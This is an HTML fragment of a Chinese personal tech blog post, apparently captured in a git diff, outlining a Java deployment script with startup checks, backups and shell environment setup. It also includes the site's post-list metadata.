notion-block-d23b738a497745dd9e874ac4299f8a2c" data-id="d23b738a497745dd9e874ac4299f8a2c"><span><div id="d23b738a497745dd9e874ac4299f8a2c" class="notion-header-anchor"></div><a class="notion-hash-link" href="#d23b738a497745dd9e874ac4299f8a2c" title="启动服务"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">启动服务</span></span></h3><blockquote class="notion-quote notion-block-dd5cbc1b79404623b4e1372257a167fd"><div>这里无非就是组装最终运行的部署语句</div></blockquote><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-8d850969c7f1427891897b8a880d6922" data-id="8d850969c7f1427891897b8a880d6922"><span><div id="8d850969c7f1427891897b8a880d6922" class="notion-header-anchor"></div><a class="notion-hash-link" href="#8d850969c7f1427891897b8a880d6922" title="启动完成检查"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">启动完成检查</span></span></h3><blockquote class="notion-quote notion-block-85c59e465afc44f78d9224dfdb79e418"><div>由于我的java项目一般会把info级别的日志文件放在同级目录,通过检测关键字来实现启动完成监控</div></blockquote><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-2c676e2583254e28a93c2a14c18c16f9" data-id="2c676e2583254e28a93c2a14c18c16f9"><span><div id="2c676e2583254e28a93c2a14c18c16f9" class="notion-header-anchor"></div><a class="notion-hash-link" href="#2c676e2583254e28a93c2a14c18c16f9" title="备份"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">备份</span></span></h3><blockquote class="notion-quote notion-block-aa4dcc5295a647a488e5b4275689bcda"><div>自动备份到指定目录,并且做到限制备份数目,自动清除等效果</div></blockquote><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-dae3dcc69abb45e78cd096e67fb23514" data-id="dae3dcc69abb45e78cd096e67fb23514"><span><div id="dae3dcc69abb45e78cd096e67fb23514" class="notion-header-anchor"></div><a class="notion-hash-link" href="#dae3dcc69abb45e78cd096e67fb23514" title="环境变量配置"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">环境变量配置</span></span></h2><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-d044fa9043bf464bb804b1952f91548b" data-id="d044fa9043bf464bb804b1952f91548b"><span><div id="d044fa9043bf464bb804b1952f91548b" class="notion-header-anchor"></div><a class="notion-hash-link" href="#d044fa9043bf464bb804b1952f91548b" title="配置~/.bash_profile"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">配置~/.bash_profile</span></span></h3><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-12211a141feb449bbeababea67e70635" data-id="12211a141feb449bbeababea67e70635"><span><div id="12211a141feb449bbeababea67e70635" class="notion-header-anchor"></div><a class="notion-hash-link" href="#12211a141feb449bbeababea67e70635" title="配置自动补全"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">配置自动补全</span></span></h3><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-af722408abb3480e9546752a8866c509" data-id="af722408abb3480e9546752a8866c509"><span><div id="af722408abb3480e9546752a8866c509" class="notion-header-anchor"></div><a class="notion-hash-link" href="#af722408abb3480e9546752a8866c509" title="效果"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">效果</span></span></h2><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-0cdbdf1b35ba440492353d8625c1eac0" data-id="0cdbdf1b35ba440492353d8625c1eac0"><span><div id="0cdbdf1b35ba440492353d8625c1eac0" class="notion-header-anchor"></div><a class="notion-hash-link" href="#0cdbdf1b35ba440492353d8625c1eac0" title="备份"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">备份</span></span></h3><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-23f697fbec304920becfb2569bb235d0"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2F9007636a-7168-467c-bccd-fcf31712bf3d%2FUntitled.png?table=block&amp;id=23f697fb-ec30-4920-becf-b2569bb235d0&amp;t=23f697fb-ec30-4920-becf-b2569bb235d0" alt="notion image" loading="lazy" decoding="async"/></div></figure><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-8566becf9f134e17800f8c73a9d69d10" data-id="8566becf9f134e17800f8c73a9d69d10"><span><div id="8566becf9f134e17800f8c73a9d69d10" class="notion-header-anchor"></div><a class="notion-hash-link" href="#8566becf9f134e17800f8c73a9d69d10" title="重启"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">重启</span></span></h3><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-6fc3b1c1279c4da39b48a286c69a4620"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Ff7983c27-0d6c-4279-9ec4-753138725f56%2FUntitled.png?table=block&amp;id=6fc3b1c1-279c-4da3-9b48-a286c69a4620&amp;t=6fc3b1c1-279c-4da3-9b48-a286c69a4620" alt="notion image" loading="lazy" decoding="async"/></div></figure><div class="notion-blank notion-block-ebb9c14c457346739f41923621db6503"> </div><div class="notion-blank notion-block-5f09bd2041524fbf92346358f7ca9002"> </div><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-1af189564491464688128c26899d094c" data-id="1af189564491464688128c26899d094c"><span><div id="1af189564491464688128c26899d094c" class="notion-header-anchor"></div><a class="notion-hash-link" href="#1af189564491464688128c26899d094c" title="最终部署脚本"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">最终部署脚本</span></span></h2><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-3b508db8425b4c7783d09eba50c4ef24" data-id="3b508db8425b4c7783d09eba50c4ef24"><span><div id="3b508db8425b4c7783d09eba50c4ef24" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3b508db8425b4c7783d09eba50c4ef24" title="写到最后"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">写到最后</span></span></h2><div class="notion-row notion-block-dffd5b0d8df5439996a363793dbd16d0"><div class="notion-column notion-block-01d7439919844db8b23271694c4f7aef" style="width:calc((100% - (2 * min(32px, 4vw))) * 0.25)"><figure class="notion-asset-wrapper notion-asset-wrapper-image notion-block-339737bc36d64e00ae149b1855021a83"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:100%;max-width:100%;flex-direction:column;height:100%"><img style="object-fit:cover" src="https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fe74a26b9-10d9-49f3-9ea7-bcb2a1438bd7%2Ffavicon.png?table=block&amp;id=339737bc-36d6-4e00-ae14-9b1855021a83&amp;t=339737bc-36d6-4e00-ae14-9b1855021a83" alt="notion image" loading="lazy" decoding="async"/></div></figure></div><div class="notion-spacer"></div><div class="notion-column notion-block-5e5d53414a47448bbb23a0f7ba9ad5f7" style="width:calc((100% - (2 * min(32px, 4vw))) * 0.34601449275362306)"><div class="notion-text notion-block-4a3120f5b7d044469360a24bc5d2a6ed"><em>
 </em><b><em>        是在往前走就好</em></b><em>
         </em><em><a target="_blank" rel="noopener noreferrer" class="notion-link" href="https://bothsavage.github.io/archive">bothsavage.github.io</a></em><em>
@@ -9,4 +9,4 @@
                 gtag('config', 'G-XT4YTFWNBG', {
                   page_path: window.location.pathname,
                 });
-              </script></div><script id="__NEXT_DATA__" type="application/json" crossorigin="">{"props":{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection\u0026id=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026t=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":8,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 